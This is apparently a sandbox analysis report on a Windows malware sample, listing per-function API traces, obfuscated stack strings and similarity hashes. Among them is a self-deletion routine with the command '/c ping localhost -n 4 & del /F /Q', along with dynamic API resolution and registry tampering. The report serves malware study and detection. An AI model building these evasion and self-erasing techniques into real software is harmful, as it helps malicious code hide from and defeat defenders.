Part of subcall function 004073E0: OpenProcessToken.ADVAPI32(00000000,00020008,00000000,00000018), ref: 0040757F
Part of subcall function 004073E0: GetTokenInformation.ADVAPI32(00000000,00000001(TokenIntegrityLevel),00000000,00000000,00000000,0000000D), ref: 0040770C
Part of subcall function 004073E0: GetLastError.KERNEL32 ref: 00407712
Part of subcall function 004073E0: GetProcessHeap.KERNEL32(00000008,00000000), ref: 00407727
Part of subcall function 004073E0: HeapAlloc.KERNEL32(00000000), ref: 0040772E
Part of subcall function 004073E0: GetTokenInformation.ADVAPI32(00000000,00000001(TokenIntegrityLevel),00000000,00000000,00000000), ref: 00407753
Part of subcall function 004073E0: LookupAccountSidW.ADVAPI32(00000000,00000104,00000000,00000104,00000000,00000104,?), ref: 00407786
Part of subcall function 004073E0: wsprintfW.USER32 ref: 00407932
Part of subcall function 004073E0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 00407956
Part of subcall function 004073E0: HeapFree.KERNEL32(00000000), ref: 0040795D
Part of subcall function 004073E0: CloseHandle.KERNEL32(00000000), ref: 00407972
Part of subcall function 004073E0: CloseHandle.KERNEL32(00000000), ref: 00407987
Part of subcall function 004073E0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040799E
Part of subcall function 004073E0: HeapFree.KERNEL32(00000000), ref: 004079A5
Part of subcall function 004073E0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 004079B1
Part of subcall function 004073E0: HeapFree.KERNEL32(00000000), ref: 004079B8

StrCmpIW.SHLWAPI(?,004290C8), ref: 0040CADA
CreateThread.KERNEL32(00000000,00000000,004079D0,?,00000000,00000000), ref: 0040CAF5

Strings

C, xrefs: 0040C89B
8, xrefs: 0040C893
7, xrefs: 0040C923
1, xrefs: 0040C87B
(, xrefs: 0040C86B
L, xrefs: 0040C88B
nZQeZ, xrefs: 0040C9DA
&, xrefs: 0040C86F
5, xrefs: 0040C913
nZQeZ, xrefs: 0040C981
CCbkTy, xrefs: 0040C8F5
/, xrefs: 0040C90B
$, xrefs: 0040C917
q, xrefs: 0040C887
>, xrefs: 0040C90F
p, xrefs: 0040C883
e, xrefs: 0040C92B
., xrefs: 0040C91B

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$Process$Handle$AllocCloseFree$Open$Tokenlstrlen$CreateInformationThread$AccountAddressAtomErrorFileFindImageLastLookupModuleNameProcwsprintf
String ID: $$&$($.$/$1$5$7$8$>$C$CCbkTy$L$e$nZQeZ$nZQeZ$p$q
API String ID: 514954462-2303913056
Opcode ID: 85ae5f055ff155715aee08bfb0a489f43aeb16b0873b6d65e9b2e75fdbfa9073
Instruction ID: 7fa3026b71f1e9331660e98dc99abf3afc3fb6793b22feba3419e0cac388fc61
Opcode Fuzzy Hash: 85ae5f055ff155715aee08bfb0a489f43aeb16b0873b6d65e9b2e75fdbfa9073
Instruction Fuzzy Hash: 56A1D470904288EBDF14DFA4DC88BEE7BB4AF15304F1441A9F541772C1DBB99A48CB69

Function 00411F60, Relevance: 52.7, APIs: 7, Strings: 23, Instructions: 231memoryregistry

APIs

GetProcessHeap.KERNEL32(00000008,00000208,004292D0), ref: 00411F76
HeapAlloc.KERNEL32(00000000), ref: 00411F7D

Part of subcall function 00412420: RegCreateKeyExW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00412461
Part of subcall function 00412420: RegOpenKeyExW.ADVAPI32 ref: 0041247E

wsprintfW.USER32 ref: 00412102

Part of subcall function 00412330: RegDeleteValueW.ADVAPI32 ref: 0041233C

RegCloseKey.ADVAPI32(00000000), ref: 00412266

Part of subcall function 00402B00: GetProcessHeap.KERNEL32(00000008,?,?,?,00416092,0000000C), ref: 00402B10
Part of subcall function 00402B00: HeapAlloc.KERNEL32(00000000,?,00416092,0000000C), ref: 00402B17

wsprintfW.USER32 ref: 00412211

Part of subcall function 00411F10: RegSetValueExW.ADVAPI32 ref: 00411F2A

Part of subcall function 00402B30: GetProcessHeap.KERNEL32(00000000,?,?,?,00411454), ref: 00402B3F
Part of subcall function 00402B30: HeapFree.KERNEL32(00000000,?,00411454), ref: 00402B46

GetProcessHeap.KERNEL32(00000000,00000000,80000001,00000000,00020006,00000000), ref: 00412272
HeapFree.KERNEL32(00000000), ref: 00412279

Strings

d, xrefs: 00412153
B, xrefs: 0041214F
gdIgQ, xrefs: 004121D1
A, xrefs: 00412167
Q, xrefs: 00412064
2, xrefs: 00412036
g, xrefs: 00412177
d, xrefs: 0041206C
Q, xrefs: 00412173
A, xrefs: 00412058
I, xrefs: 0041216B
g, xrefs: 00412068
g, xrefs: 00412054
d, xrefs: 0041217B
I, xrefs: 0041205C
:, xrefs: 00412157
g, xrefs: 00412163
:, xrefs: 00412048
B, xrefs: 00412040
g, xrefs: 0041204C
gdIgQ, xrefs: 004120C2
g, xrefs: 0041215B
d, xrefs: 00412044

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$Process$AllocFreeValuewsprintf$CloseCreateDeleteOpen
String ID: 2$:$:$A$A$B$B$I$I$Q$Q$d$d$d$d$g$g$g$g$g$g$gdIgQ$gdIgQ
API String ID: 3450488824-760696743
Opcode ID: 8e46632319d5f226488aaf56c78660d2a0d6ec90f98be5ab3b85fc1628eaf5ad
Instruction ID: 99e8620b9fc5f9b82c139a901d04f594edbe3ed8bff193fd79b19f18665121fa
Opcode Fuzzy Hash: 8e46632319d5f226488aaf56c78660d2a0d6ec90f98be5ab3b85fc1628eaf5ad
Instruction Fuzzy Hash: 6EA18170D04288EFDF01CBD4C984BEEBFB1AF59308F04809AE5457B281C7B95A95CB65

Function 00418CF0, Relevance: 52.6, APIs: 2, Strings: 28, Instructions: 150libraryloader

APIs

Part of subcall function 00402B00: GetProcessHeap.KERNEL32(00000008,?,?,?,00416092,0000000C), ref: 00402B10
Part of subcall function 00402B00: HeapAlloc.KERNEL32(00000000,?,00416092,0000000C), ref: 00402B17

GetModuleHandleA.KERNEL32(00000000,00000000,0000000D,0000001E), ref: 00418E9E
GetProcAddress.KERNEL32(00000000), ref: 00418EA5

Part of subcall function 00402B30: GetProcessHeap.KERNEL32(00000000,?,?,?,00411454), ref: 00402B3F
Part of subcall function 00402B30: HeapFree.KERNEL32(00000000,?,00411454), ref: 00402B46

Strings

L, xrefs: 00418E0C
d, xrefs: 00418ECD
p, xrefs: 00418E04
C, xrefs: 00418E1C
", xrefs: 00418D54
&, xrefs: 00418D64
0, xrefs: 00418D34
!, xrefs: 00418D70
q, xrefs: 00418E08
6, xrefs: 00418D4C
i, xrefs: 00418D80
;, xrefs: 00418D3C
a, xrefs: 00418D48
_, xrefs: 00418D44
#, xrefs: 00418D14
1, xrefs: 00418DFC
F, xrefs: 00418D18
(, xrefs: 00418DEC
5, xrefs: 00418D28
UpTpi, xrefs: 00418DD6
', xrefs: 00418D50
1, xrefs: 00418D5C
], xrefs: 00418D1C
', xrefs: 00418D38
8, xrefs: 00418E14
;, xrefs: 00418D78
&, xrefs: 00418DF0
CCbkTy, xrefs: 00418E76

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$Process$AddressAllocFreeHandleModuleProc
String ID: !$"$#$&$&$'$'$($0$1$1$5$6$8$;$;$C$CCbkTy$F$L$UpTpi$]$_$a$d$i$p$q
API String ID: 3419126156-3571627478
Opcode ID: dee9899d0afaa5ad98ac5487e074b79ccb86065fef0309adfb842f9f6cfb97ed
Instruction ID: ed3d5f2b5e8a463f23d73b3e6a161d0179876b2b6a4c8fb05361da0894f14536
Opcode Fuzzy Hash: dee9899d0afaa5ad98ac5487e074b79ccb86065fef0309adfb842f9f6cfb97ed
Instruction Fuzzy Hash: F971EC30D082C8D9EB12D7A8D5587EEBFB55F26309F08409ED4857B2C2C7BE0649D76A

Function 00418F00, Relevance: 50.9, APIs: 6, Strings: 23, Instructions: 196memorylibraryloader

APIs

Part of subcall function 00402B00: GetProcessHeap.KERNEL32(00000008,?,?,?,00416092,0000000C), ref: 00402B10
Part of subcall function 00402B00: HeapAlloc.KERNEL32(00000000,?,00416092,0000000C), ref: 00402B17

LoadLibraryA.KERNEL32(00000000), ref: 004190C6
GetProcAddress.KERNEL32(00000000), ref: 004190CD
GetProcessHeap.KERNEL32(00000008,?), ref: 004190DF
HeapAlloc.KERNEL32(00000000), ref: 004190E6
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0041915C
HeapFree.KERNEL32(00000000), ref: 00419163

Part of subcall function 00402B30: GetProcessHeap.KERNEL32(00000000,?,?,?,00411454), ref: 00402B3F
Part of subcall function 00402B30: HeapFree.KERNEL32(00000000,?,00411454), ref: 00402B46

Strings

;, xrefs: 00418F8C
,, xrefs: 00418F80
1, xrefs: 00419024
<, xrefs: 00418FA0
&, xrefs: 00418FB0
~, xrefs: 00419034
{, xrefs: 00419169
7, xrefs: 00418F6C
,, xrefs: 00418F78
\, xrefs: 00419020
2EM5hP, xrefs: 0041909E
0, xrefs: 00418F94
vCwTI, xrefs: 0041900A
5, xrefs: 00419044
), xrefs: 0041903C
!, xrefs: 00419040
), xrefs: 00419028
V, xrefs: 00419038
$, xrefs: 00418F68
Y, xrefs: 0041902C
%, xrefs: 00418FA8
I, xrefs: 00418FB4
$, xrefs: 00418F88

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$Process$AllocFree$AddressLibraryLoadProc
String ID: !$$$$$%$&$)$)$,$,$0$1$2EM5hP$5$7$;$<$I$V$Y$\$vCwTI${$~
API String ID: 2708089030-3010183685
Opcode ID: a0962fa2af1f62b1c1d7cc4d0e5e97b67717f0e2e15b575de8cf1993ea527ac2
Instruction ID: fc555449af1d5bf7e0d64a86229c34f66cad66bc016cd13b0ec99669e32e6278
Opcode Fuzzy Hash: a0962fa2af1f62b1c1d7cc4d0e5e97b67717f0e2e15b575de8cf1993ea527ac2
Instruction Fuzzy Hash: 8C915F70D04288EFEB05CBE8D498BEEBFB1AF15304F14809AE5457B381C7B95A85CB65

Function 00417A70, Relevance: 50.9, APIs: 2, Strings: 27, Instructions: 179libraryloader

APIs

Part of subcall function 00402B00: GetProcessHeap.KERNEL32(00000008,?,?,?,00416092,0000000C), ref: 00402B10
Part of subcall function 00402B00: HeapAlloc.KERNEL32(00000000,?,00416092,0000000C), ref: 00402B17

LoadLibraryA.KERNEL32(00000000), ref: 00417C59
GetProcAddress.KERNEL32(00000000), ref: 00417C60

Part of subcall function 00402B30: GetProcessHeap.KERNEL32(00000000,?,?,?,00411454), ref: 00402B3F
Part of subcall function 00402B30: HeapFree.KERNEL32(00000000,?,00411454), ref: 00402B46

Strings

F, xrefs: 00417A83
F, xrefs: 00417B23
8, xrefs: 00417BD7
], xrefs: 00417B27
y, xrefs: 00417BDB
h, xrefs: 00417B37
", xrefs: 00417BCF
+, xrefs: 00417B33
hYqFYR, xrefs: 00417AF5
[, xrefs: 00417B1F
Y, xrefs: 00417A7B
tsZ4Gh, xrefs: 00417B91
', xrefs: 00417B0B
q, xrefs: 00417A97
X, xrefs: 00417B2F
F, xrefs: 00417A9B
^, xrefs: 00417BAB
N, xrefs: 00417BBF
, xrefs: 00417C8E
;, xrefs: 00417B0F
>, xrefs: 00417B2B
S, xrefs: 00417BD3
x, xrefs: 00417B17
<, xrefs: 00417A87
V6oyp, xrefs: 00417C31
R, xrefs: 00417A8B
Y, xrefs: 00417A93

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$Process$AddressAllocFreeLibraryLoadProc
String ID: $"$'$+$8$;$<$>$F$F$F$N$R$S$V6oyp$X$Y$Y$[$]$^$h$hYqFYR$q$tsZ4Gh$x$y
API String ID: 3486399526-3552471102
Opcode ID: 6132167ab63e0d79daec96ed90b16467aa00fb54b8fe684b6fce89fd107ecd9f
Instruction ID: 64e1245fe7b41b28ecdecfba4cca7cf5a9097b4b63873bfa7a284a5321c3e186
Opcode Fuzzy Hash: 6132167ab63e0d79daec96ed90b16467aa00fb54b8fe684b6fce89fd107ecd9f
Instruction Fuzzy Hash: AB813F30D082C8DAEB15DBE8C5587EEBFB15F16308F18409ED4457B2C2C7B91A49CB66

Function 00410190, Relevance: 45.6, APIs: 2, Strings: 24, Instructions: 148libraryloader

APIs

Part of subcall function 00402B00: GetProcessHeap.KERNEL32(00000008,?,?,?,00416092,0000000C), ref: 00402B10
Part of subcall function 00402B00: HeapAlloc.KERNEL32(00000000,?,00416092,0000000C), ref: 00402B17

GetModuleHandleA.KERNEL32(00000000,00000000,0000000A,00000013,?), ref: 00410310
GetProcAddress.KERNEL32(00000000), ref: 00410317

Part of subcall function 0040FF90: GetModuleHandleA.KERNEL32(00000000,00000000,00000016,0000000A), ref: 004100FD
Part of subcall function 0040FF90: GetProcAddress.KERNEL32(00000000), ref: 00410104

Part of subcall function 00402B30: GetProcessHeap.KERNEL32(00000000,?,?,?,00411454), ref: 00402B3F
Part of subcall function 00402B30: HeapFree.KERNEL32(00000000,?,00411454), ref: 00402B46

Strings

VQo06C, xrefs: 00410254
2, xrefs: 004101E6
5, xrefs: 0041028E
%, xrefs: 004101B6
V, xrefs: 00410282
\, xrefs: 0041026A
Y, xrefs: 004101F2
4, xrefs: 004101CE
Y, xrefs: 004101EE
3, xrefs: 004101E2
), xrefs: 00410272
Q, xrefs: 004101BE
F, xrefs: 004101C2
?, xrefs: 004101CA
!, xrefs: 0041028A
), xrefs: 00410286
-, xrefs: 004101F6
V, xrefs: 004101FA
2EM5hP, xrefs: 004102E8
", xrefs: 004101BA
1, xrefs: 0041026E
Y, xrefs: 00410276
P, xrefs: 004101DA
~, xrefs: 0041027E

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$AddressHandleModuleProcProcess$AllocFree
String ID: !$"$%$)$)$-$1$2$2EM5hP$3$4$5$?$F$P$Q$V$V$VQo06C$Y$Y$Y$\$~
API String ID: 1536385141-3662363406
Opcode ID: dd8aaeb55eebf7f52ce90389ad84afc22e0327cbbed82008f932884809bc7153
Instruction ID: 94865bf90eedd013235cc1aedad011f2f6eff2c413aead79ef4d234821749ec1
Opcode Fuzzy Hash: dd8aaeb55eebf7f52ce90389ad84afc22e0327cbbed82008f932884809bc7153
Instruction Fuzzy Hash: A3615130D082C8DAEF11CBE8D9587DEBFB46F15308F14409AD5417B2C2C7BA1A49CB65

Function 0040CEA0, Relevance: 43.9, APIs: 8, Strings: 17, Instructions: 124memoryprocess

APIs

GetProcessHeap.KERNEL32(00000008,00000208,?), ref: 0040CEB6
HeapAlloc.KERNEL32(00000000), ref: 0040CEBD

Part of subcall function 00402B00: GetProcessHeap.KERNEL32(00000008,?,?,?,00416092,0000000C), ref: 00402B10
Part of subcall function 00402B00: HeapAlloc.KERNEL32(00000000,?,00416092,0000000C), ref: 00402B17

StrCpyW.SHLWAPI(?,0066FAB0), ref: 0040CFAC
StrCatW.SHLWAPI(?,00000000), ref: 0040CFBF
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,08000008,00000000,00000000,00000044,?), ref: 0040CFE2
CloseHandle.KERNEL32(00000000), ref: 0040CFF8
GetProcessHeap.KERNEL32(00000000,?), ref: 0040D004
HeapFree.KERNEL32(00000000), ref: 0040D00B

Part of subcall function 00402B30: GetProcessHeap.KERNEL32(00000000,?,?,?,00411454), ref: 00402B3F
Part of subcall function 00402B30: HeapFree.KERNEL32(00000000,?,00411454), ref: 00402B46

Strings

1, xrefs: 0040CF35
9c1UU, xrefs: 0040CF8B
", xrefs: 0040CF11
U, xrefs: 0040CEFD
x, xrefs: 0040CF01
9, xrefs: 0040CF05
c, xrefs: 0040CF1D
c, xrefs: 0040CF31
U, xrefs: 0040CF15
A, xrefs: 0040CF19
U, xrefs: 0040CF25
/, xrefs: 0040CF29
D, xrefs: 0040CEEA
1, xrefs: 0040CF0D
9, xrefs: 0040CF2D
H, xrefs: 0040CF21
c, xrefs: 0040CEF5

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$Process$AllocFree$CloseCreateHandle
String ID: "$/$1$1$9$9$9c1UU$A$D$H$U$U$U$c$c$c$x
API String ID: 2101115871-426092633
Opcode ID: 83cc98e42c90fa83e6ed7eb41263350ff4b60c34668643f743a9a95478eea699
Instruction ID: eea227f7a3e49905c04fd133767a1b228bc20ced9735f92c2e18fbdee9bcd509
Opcode Fuzzy Hash: 83cc98e42c90fa83e6ed7eb41263350ff4b60c34668643f743a9a95478eea699
Instruction Fuzzy Hash: 6751B330944288EFEF01CBE8C858BDEBFB5AF19305F144199E5417B2C2C7B95A44CBA9

Function 0040FF90, Relevance: 43.9, APIs: 2, Strings: 23, Instructions: 124libraryloader

APIs

Part of subcall function 00402B00: GetProcessHeap.KERNEL32(00000008,?,?,?,00416092,0000000C), ref: 00402B10
Part of subcall function 00402B00: HeapAlloc.KERNEL32(00000000,?,00416092,0000000C), ref: 00402B17

GetModuleHandleA.KERNEL32(00000000,00000000,00000016,0000000A), ref: 004100FD
GetProcAddress.KERNEL32(00000000), ref: 00410104

Part of subcall function 00402B30: GetProcessHeap.KERNEL32(00000000,?,?,?,00411454), ref: 00402B3F
Part of subcall function 00402B30: HeapFree.KERNEL32(00000000,?,00411454), ref: 00402B46

Strings

., xrefs: 00410047
\, xrefs: 0040FF97
), xrefs: 0040FFB3
1, xrefs: 0040FF9B
~, xrefs: 0040FFAB
V, xrefs: 0040FFAF
:, xrefs: 00410043
1, xrefs: 0041007B
:, xrefs: 0041002F
0, xrefs: 00410067
), xrefs: 0040FF9F
5, xrefs: 0040FFBB
CNOKc, xrefs: 004100D5
, xrefs: 0041005B
=, xrefs: 0041006F
N, xrefs: 0041007F
!, xrefs: 0040FFB7
0, xrefs: 00410053
#, xrefs: 00410033
?, xrefs: 0041004B
2EM5hP, xrefs: 00410015
Y, xrefs: 0040FFA3
9, xrefs: 00410073

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$Process$AddressAllocFreeHandleModuleProc
String ID: $!$#$)$)$.$0$0$1$1$2EM5hP$5$9$:$:$=$?$CNOKc$N$V$Y$\$~
API String ID: 3419126156-2059070912
Opcode ID: 3841612512f2e70a8030531e4c2c5414d953cf79214ef610497bba84973fb43a
Instruction ID: f67206758b6b218b7f011160f26a310360876c937eaa1d5d60e0176516145fbe
Opcode Fuzzy Hash: 3841612512f2e70a8030531e4c2c5414d953cf79214ef610497bba84973fb43a
Instruction Fuzzy Hash: 8D513170D082C8DAEB12D7E8D5587DEBFB45F26308F18409AD441372C2C7FA0649C76A

Function 0040FCD0, Relevance: 40.4, APIs: 2, Strings: 21, Instructions: 191libraryloader

APIs

Part of subcall function 00402B00: GetProcessHeap.KERNEL32(00000008,?,?,?,00416092,0000000C), ref: 00402B10
Part of subcall function 00402B00: HeapAlloc.KERNEL32(00000000,?,00416092,0000000C), ref: 00402B17

GetModuleHandleA.KERNEL32(00000000,00000000,00000010,0000000A), ref: 0040FE76
GetProcAddress.KERNEL32(00000000), ref: 0040FE7D

Part of subcall function 0040FF90: GetModuleHandleA.KERNEL32(00000000,00000000,00000016,0000000A), ref: 004100FD
Part of subcall function 0040FF90: GetProcAddress.KERNEL32(00000000), ref: 00410104

Part of subcall function 00402B30: GetProcessHeap.KERNEL32(00000000,?,?,?,00411454), ref: 00402B3F
Part of subcall function 00402B30: HeapFree.KERNEL32(00000000,?,00411454), ref: 00402B46

Part of subcall function 00410630: CloseHandle.KERNEL32(?), ref: 00410637

Part of subcall function 00410190: GetModuleHandleA.KERNEL32(00000000,00000000,0000000A,00000013,?), ref: 00410310
Part of subcall function 00410190: GetProcAddress.KERNEL32(00000000), ref: 00410317

Strings

@, xrefs: 0040FE94
!, xrefs: 0040FD48
V, xrefs: 0040FDE0
), xrefs: 0040FD30
, xrefs: 0040FDC8
Y, xrefs: 0040FD34
), xrefs: 0040FDE4
=, xrefs: 0040FDF0
), xrefs: 0040FD44
2EM5hP, xrefs: 0040FDA6
\, xrefs: 0040FD28
5, xrefs: 0040FD4C
&, xrefs: 0040FDC4
V, xrefs: 0040FDCC
+, xrefs: 0040FDD0
V, xrefs: 0040FD40
JyeR3, xrefs: 0040FE4E
~, xrefs: 0040FD3C
1, xrefs: 0040FD2C
J, xrefs: 0040FDF8
], xrefs: 0040FDF4

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: HandleHeap$AddressModuleProc$Process$AllocCloseFree
String ID: $!$&$)$)$)$+$1$2EM5hP$5$=$@$J$JyeR3$V$V$V$Y$\$]$~
API String ID: 2798016237-3445178042
Opcode ID: 41e5c42d6b07845d5f96f5b32d86f530b124ad8167ef6c737e67a4f368c051a0
Instruction ID: 360e61badce93094260020c8ddeb9c04ee6c3263fea7a051fbaab1756df734fd
Opcode Fuzzy Hash: 41e5c42d6b07845d5f96f5b32d86f530b124ad8167ef6c737e67a4f368c051a0
Instruction Fuzzy Hash: 3B914E70D04288DEEF11CBE8D8587EEBFB1AF55308F14406AE5517B2C2C7B91A49CB65

Function 004151A0, Relevance: 40.3, APIs: 4, Strings: 19, Instructions: 79

APIs

Part of subcall function 0040E560: TerminateThread.KERNEL32(?,00000000,?,?,0041A472,?,0041A4DA), ref: 0040E589
Part of subcall function 0040E560: CloseHandle.KERNEL32 ref: 0040E59A

TerminateProcess.KERNEL32(00000000,00000000), ref: 004151B4
CloseHandle.KERNEL32(00000000), ref: 004151C1

Part of subcall function 00402B00: GetProcessHeap.KERNEL32(00000008,?,?,?,00416092,0000000C), ref: 00402B10
Part of subcall function 00402B00: HeapAlloc.KERNEL32(00000000,?,00416092,0000000C), ref: 00402B17

SetEnvironmentVariableW.KERNEL32(00000000,00000000,00000030), ref: 0041529E

Part of subcall function 00403B80: GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00403B97
Part of subcall function 00403B80: GetEnvironmentVariableW.KERNEL32(COMSPEC,?,00000104), ref: 00403BB6
Part of subcall function 00403B80: lstrcpyW.KERNEL32(?,/c ping localhost -n 4 & del /F /Q "), ref: 00403BD0
Part of subcall function 00403B80: lstrcatW.KERNEL32 ref: 00403BE4
Part of subcall function 00403B80: lstrcatW.KERNEL32 ref: 00403BF6
Part of subcall function 00403B80: lstrcatW.KERNEL32 ref: 00403C12
Part of subcall function 00403B80: lstrcatW.KERNEL32 ref: 00403C26
Part of subcall function 00403B80: lstrcatW.KERNEL32 ref: 00403C38
Part of subcall function 00403B80: lstrcatW.KERNEL32 ref: 00403C4C
Part of subcall function 00403B80: lstrcatW.KERNEL32 ref: 00403C5E
Part of subcall function 00403B80: lstrcatW.KERNEL32 ref: 00403C72
Part of subcall function 00403B80: lstrcatW.KERNEL32 ref: 00403C84
Part of subcall function 00403B80: GetCurrentProcess.KERNEL32(00000100), ref: 00403CCB
Part of subcall function 00403B80: SetPriorityClass.KERNEL32(00000000), ref: 00403CD2
Part of subcall function 00403B80: GetCurrentThread.KERNEL32(0000000F), ref: 00403CDA
Part of subcall function 00403B80: SetThreadPriority.KERNEL32(00000000), ref: 00403CE1
Part of subcall function 00403B80: CoInitializeEx.OLE32(00000000,00000006), ref: 00403CEB
Part of subcall function 00403B80: ShellExecuteExW.SHELL32(0000003C), ref: 00403CF5
Part of subcall function 00403B80: SetPriorityClass.KERNEL32(?,00000040), ref: 00403D05
Part of subcall function 00403B80: SetProcessPriorityBoost.KERNEL32(?,00000001), ref: 00403D11
Part of subcall function 00403B80: SHChangeNotify.SHELL32(00000004,00000005,?,00000000), ref: 00403D24
Part of subcall function 00403B80: GetCurrentProcess.KERNEL32(00000020), ref: 00403D35
Part of subcall function 00403B80: SetPriorityClass.KERNEL32(00000000), ref: 00403D3C
Part of subcall function 00403B80: GetCurrentThread.KERNEL32(00000000), ref: 00403D44
Part of subcall function 00403B80: SetThreadPriority.KERNEL32(00000000), ref: 00403D4B

ExitProcess.KERNEL32 ref: 004152B0

Strings

d, xrefs: 00415203
1, xrefs: 004151FB
7, xrefs: 004151F7
1, xrefs: 004151E3
;, xrefs: 004151E7
n, xrefs: 004151DB
m, xrefs: 004151FF
n, xrefs: 0041520B
n, xrefs: 00415223
T1Cdin, xrefs: 0041527D
d, xrefs: 004151EB
n, xrefs: 004151F3
1, xrefs: 00415213
d, xrefs: 0041521B
,, xrefs: 0041520F
i, xrefs: 0041521F
&, xrefs: 00415217
1, xrefs: 004151DF
910d, xrefs: 0041526D, 00415284

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: lstrcat$PriorityProcess$Thread$Current$Class$CloseEnvironmentHandleHeapTerminateVariable$AllocBoostChangeExecuteExitFileInitializeModuleNameNotifyShelllstrcpy
String ID: &$,$1$1$1$1$7$910d$;$T1Cdin$d$d$d$i$m$n$n$n$n
API String ID: 1964954475-3389088381
Opcode ID: 2367864062aa8967a04d51d00a037b366757b2a215c08d2f74f61d1fa7af9cb8
Instruction ID: 589329c389fc73d73a9537c131af946a3ad1f32fc0a62563a30e347dc2f56874
Opcode Fuzzy Hash: 2367864062aa8967a04d51d00a037b366757b2a215c08d2f74f61d1fa7af9cb8
Instruction Fuzzy Hash: 773100209082C8DAEB02D7E8C9597EEBFB55F25308F084099D5413B2C2C7FA0759C77A

Function 0040E930, Relevance: 38.6, APIs: 2, Strings: 20, Instructions: 139libraryloader

APIs

Part of subcall function 00402B00: GetProcessHeap.KERNEL32(00000008,?,?,?,00416092,0000000C), ref: 00402B10
Part of subcall function 00402B00: HeapAlloc.KERNEL32(00000000,?,00416092,0000000C), ref: 00402B17

GetModuleHandleA.KERNEL32(00000000,00000000,00000010,0000000A,004292D0), ref: 0040EA99
GetProcAddress.KERNEL32(00000000), ref: 0040EAA0

Part of subcall function 00411CA0: GetProcessHeap.KERNEL32(00000008,00000208,?), ref: 00411CC2
Part of subcall function 00411CA0: HeapAlloc.KERNEL32(00000000), ref: 00411CC9
Part of subcall function 00411CA0: wsprintfW.USER32 ref: 00411DF6
Part of subcall function 00411CA0: GetProcessHeap.KERNEL32(00000008,00000000,?,80000001,00000000,?), ref: 00411E4B
Part of subcall function 00411CA0: HeapAlloc.KERNEL32(00000000), ref: 00411E52
Part of subcall function 00411CA0: GetProcessHeap.KERNEL32(00000000,?,00000000,?,80000001,00000000,?), ref: 00411E72
Part of subcall function 00411CA0: HeapReAlloc.KERNEL32(00000000), ref: 00411E79
Part of subcall function 00411CA0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 00411EAB
Part of subcall function 00411CA0: HeapFree.KERNEL32(00000000), ref: 00411EB2
Part of subcall function 00411CA0: RegCloseKey.ADVAPI32(00000000), ref: 00411ED0
Part of subcall function 00411CA0: GetProcessHeap.KERNEL32(00000000,00000000,80000001,00000000,00020019,00000000), ref: 00411EDC
Part of subcall function 00411CA0: HeapFree.KERNEL32(00000000), ref: 00411EE3

Part of subcall function 00403DC0: GetProcessHeap.KERNEL32(00000000,?,?,?,00419B70,00000000,DDDD,00000004,00408712,?,?,?), ref: 00403DEB
Part of subcall function 00403DC0: HeapFree.KERNEL32(00000000,?,00419B70), ref: 00403DF2

Part of subcall function 00402B30: GetProcessHeap.KERNEL32(00000000,?,?,?,00411454), ref: 00402B3F
Part of subcall function 00402B30: HeapFree.KERNEL32(00000000,?,00411454), ref: 00402B46

Strings

[, xrefs: 0040EA13
Z, xrefs: 0040EA1B
!, xrefs: 0040E96B
5, xrefs: 0040E96F
+, xrefs: 0040E9EB
", xrefs: 0040E9EF
